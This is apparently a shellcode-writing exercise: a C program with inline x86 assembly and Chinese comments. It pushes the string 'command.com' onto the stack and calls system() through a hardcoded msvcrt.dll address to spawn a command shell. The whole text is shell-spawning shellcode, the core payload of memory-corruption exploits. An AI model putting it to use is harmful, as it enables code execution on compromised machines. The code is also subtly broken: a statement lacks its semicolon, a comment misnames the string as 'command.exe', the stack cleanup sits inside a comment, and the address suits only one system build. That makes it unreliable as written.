#include <windows.h>
void main()
 
{
LoadLibrary("msvcrt.dll")
_asm
{
mov esp,ebp ;把ebp的内容送到esp中
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp负值,将作为局部变量的基指针
xor edi,edi ;
push edi ;压入0,esp-4,作用是构造字符串的结尾\0
sub esp,08h ;加上上面的4字节总共有12字节"command.com"
mov byte ptr [ebp-0ch],63h;
mov byte ptr [ebp-0bh],6fh;
mov byte ptr [ebp-0ah],6dh;
mov byte ptr [ebp-09h],6Dh;
mov byte ptr [ebp-08h],61h;
mov byte ptr [ebp-07h],6eh;
mov byte ptr [ebp-06h],64h;
mov byte ptr [ebp-05h],2Eh;
mov byte ptr [ebp-04h],63h;
mov byte ptr [ebp-03h],6fh;
mov byte ptr [ebp-02h],6dh;生成串"command.exe"
lea eax,[ebp-0ch];
push eax ;串地址作为参数入栈
mov eax,0x77b8a083
call eax ;调用 system() add esp,0x12 ;堆栈平衡,
pop ebp; }
}